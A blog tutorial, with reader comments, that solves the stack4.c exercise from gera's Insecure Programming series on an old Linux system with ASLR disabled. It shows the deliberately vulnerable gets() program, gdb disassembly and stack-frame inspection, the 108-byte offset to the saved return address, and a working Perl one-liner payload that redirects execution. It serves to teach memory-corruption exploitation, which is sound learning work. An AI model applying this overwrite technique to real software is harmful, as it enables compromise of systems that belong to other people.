Note: I couldn’t get this exploit to work on Debian 5, I think there must be some overflow protection or something I was working against on top of the ASLR I had already disabled. So I moved to the Hacking; the Art of Exploitation LiveCD, but any much older Linux should work for you (think Red Hat 7).
Ok, so everyone, before reading this one, repeat after me:
The goal is to control execution. The goal is to win. It doesn’t matter how you control things, or how you win, just win. Control is everything.
That may sound a little melodramatic, but I remember having a really hard time with stack4.c, not because the concepts were hard to grasp, but because I kept trying to control execution of the program the way I had in the previous three challenges, instead of just winning any way I could. That to me is the fundamental thing this challenge is attempting to teach the student. This particular challenge is not really about controlling EIP (though you will learn how to do that), rather, it’s about changing the way you think about computer programs in general. The point being that they do not always do what we think we told them to do, they do exactly what we told them to do ;-).
If you want to read a quick’n’dirty description of the right mindset for this sort of thing, along with some ideas on how to proceed if you want to be good at being bad, I highly recommend @kmx2600‘s article on the VRT blog, “How do I become a ninja?”. Indeed, those are the steps that I’m now following to better myself in this arena, and I’m the one that asked his team the question in the first place, so it’s only appropriate I should share my progress so others might get bitten by the bug as well.
On to the bug!
/* stack4-stdin.c * * specially crafted to feed your brain by gera */ #include <stdio.h> int main() { int cookie; char buf[80]; printf("buf: %08x cookie: %08x\n", &buf, &cookie); gets(buf); if (cookie == 0x000d0a00) printf("you win!\n"); }
So…this may be tricky. Can anyone see why? See, they want us to make the cookie value equal to 0x000d0a00
…can anyone spot the problem with this, alluded to in a previous post? That’s right, we can’t set the cookie variable to the appropriate value via the gets()
function, because gets()
terminates on a newline character, otherwise known as 0x0A
. So we are going to need to find a way to win without setting the value of the cookie variable directly.
How else could we win? Think back to the beginning of this post, the object of the game is to take control of execution Any way we’d like to. We want the program to print out “you win!”. If we look at this program in a debugger, from the assembly language perspective, a way to do this might become clear.
hacking@hacking-theart:~/InsecureProgramming $ gdb -q ./stack4 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x080483b4 <main+0>: push ebp 0x080483b5 <main+1>: mov ebp,esp 0x080483b7 <main+3>: sub esp,0x78 0x080483ba <main+6>: and esp,0xfffffff0 0x080483bd <main+9>: mov eax,0x0 0x080483c2 <main+14>: sub esp,eax 0x080483c4 <main+16>: lea eax,[ebp-12] 0x080483c7 <main+19>: mov DWORD PTR [esp+8],eax 0x080483cb <main+23>: lea eax,[ebp-104] 0x080483ce <main+26>: mov DWORD PTR [esp+4],eax 0x080483d2 <main+30>: mov DWORD PTR [esp],0x80484d4 0x080483d9 <main+37>: call 0x80482d4 <printf@plt> 0x080483de <main+42>: lea eax,[ebp-104] 0x080483e1 <main+45>: mov DWORD PTR [esp],eax 0x080483e4 <main+48>: call 0x80482b4 <gets@plt> 0x080483e9 <main+53>: cmp DWORD PTR [ebp-12],0xd0a00 0x080483f0 <main+60>: jne 0x80483fe <main+74> 0x080483f2 <main+62>: mov DWORD PTR [esp],0x80484ec 0x080483f9 <main+69>: call 0x80482d4 <printf@plt> 0x080483fe <main+74>: leave 0x080483ff <main+75>: ret End of assembler dump.
This is where some very basic knowledge of x86 assembly language will pay off (and I mean very basic, as I am certainly no expert). The highlighted section above is essentially equal to the C functions:
gets(buf); if (cookie == 0x000d0a00) printf("you win!\n");
I’ll leave it to the reader to read some intros on x86 assembly programming, or better yet, to read the excellent “Programming from the Ground Up” by Jonathan Bartlett, but it should be plain from the listing above what is occurring. Here is a summary with the details glossed over a bit.
First, we call the gets()
function to get our input with call 0x804830c
, then we move an 8-byte (DWORD) pointer located 8 bytes into the stack (ebp-0x8
) into the eax
register, and then we compare that value (stored at the de-referenced pointer, read a book on C if you don’t get the pointer stuff, it’s important) with the hex value 0xd0a00
. Keeping the result of that comparison in mind (using the EFLAGS
register, another important thing to understand), we then implement the if statement using the jne
function, which stands for “jump if not equal”. If the comparison earlier was not equal, it jumps execution past the puts()
function call (similar to printf
) at 0x080483f2
which would print out our “you win!” statement. That’s how the if/then construct in C ends up looking in assembly.
The important thing to take away here, is that if we want to print out “you win!”, we simply need to get the instructions at 0x080483f2
to be executed. The easiest way to do that is to get EIP
to point there. The easiest way to do that is to overflow the value for EIP
that is stored during the execution of the main()
call. Essentially, anytime any function is called such as gets()
, printf()
, or even main()
which is what we are counting on here, the return address, which is the address to move execution to following the successful processing of the function call is populated onto the stack, along with any other variables local to the parent function or any other function that we’re calling. That means that if the program flow allows us to get to the point where it’s exiting execution of the function, and we can write to the stack an arbitrary amount of data with a bad function such as gets()
, we can pretty much do whatever we want!
The game plan is to figure out where the return address is stored for/during the execution of the main()
call, determine it’s distance from the buf
variable, and figure out if we can overwrite it with the value 0x080483f2
…if we can do this, we win. Let’s explore the state of the program at the time gets()
is called using our debugger, specifically we want to see the state of the stack, the best way to do this is to examine stack frames with the backtrace command. I’ve highlighted the commands we’re going to use below, as a few of them are new ones you’ll want to have in your back pocket in the future.
hacking@hacking-theart:~/InsecureProgramming $ gdb -q ./stack4 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set disassembly-flavor intel (gdb) break gets Function "gets" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (gets) pending. (gdb) run Starting program: /home/hacking/InsecureProgramming/stack4 Breakpoint 2 at 0xb7ef21c6 Pending breakpoint "gets" resolved buf: bffff770 cookie: bffff7cc Breakpoint 2, 0xb7ef21c6 in gets () from /lib/tls/i686/cmov/libc.so.6 (gdb) backtrace #0 0xb7ef21c6 in gets () from /lib/tls/i686/cmov/libc.so.6 #1 0x080483e9 in main () at stack4.c:11 (gdb) info frame 0 Stack frame at 0xbffff760: eip = 0xb7ef21c6 in gets; saved eip 0x80483e9 called by frame at 0xbffff7e0 Arglist at 0xbffff758, args: Locals at 0xbffff758, Previous frame's sp is 0xbffff760 Saved registers: ebp at 0xbffff758, eip at 0xbffff75c (gdb) info frame 1 Stack frame at 0xbffff7e0: eip = 0x80483e9 in main (stack4.c:11); saved eip 0xb7eafebc caller of frame at 0xbffff760 source language c. Arglist at 0xbffff7d8, args: Locals at 0xbffff7d8, Previous frame's sp is 0xbffff7e0 Saved registers: ebp at 0xbffff7d8, eip at 0xbffff7dc (gdb) print 0xbffff7dc - 0xbffff770 $1 = 108 (gdb) next Single stepping until exit from function gets, which has no line number information. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB main () at stack4.c:13 13 if (cookie == 0x000d0a00) (gdb) x 0xbffff7dc 0xbffff7dc: 0x42424242
What we’re seeing here is that the stored EIP
for the main()
stack frame is 108 bytes from the buf
variable’s start position. In essence, each memory address refers to a single byte of storage, so by calculating the difference between two addresses we know exactly how many bytes we must send to overflow the stored EIP
in the stack. Since a single ASCII-encoded character is exactly one byte long, I went ahead and sent 108 “A” characters with 4 “B” characters tacked onto the end to overflow the stored EIP
, and examining that memory address directly it worked.
So, let’s try our exploit know, knowing that 108 bytes is our offset for the variables. The code will fully execute, it will just jump back up the execution path on attempting to exit the first time and print out the “you win!” message, and then it will exit gracefully as if nothing had happened. Or at least, that’s the idea.
hacking@hacking-theart:~ $ perl -e 'print "A" x 108 . "\xf2\x83\x04\x08\n";' | ~/InsecureProgramming/stack4 buf: bffff790 cookie: bffff7ec you win! Segmentation fault
Ok, so, that worked! We still need to figure out why it segfaulted, and also why I couldn’t do this on the Debian 5 machine, but I’ll leave those subjects for future articles. Thanks for reading, hope you learned something.
Hi!
I struggled also with the Debian 5. Discovered that GCC is trying to align the stack to 16byte boundary. (http://stackoverflow.com/questions/1147623/trying-to-understand-the-main-disassembly-first-instructions). gcc -mpreferred-stack-boundary=2 got me lucky 😉
That’s really interesting. I wonder if my gcc wasn’t doing this, because it’s such an old version on an old distro. Either way, thank you for sharing the information!
[…] Posts (24-48 hrs.) Insecure Programming by Example – controlling EIP, stack4.c « Insecure Programming by Example: abo6/7/8 Ménage […]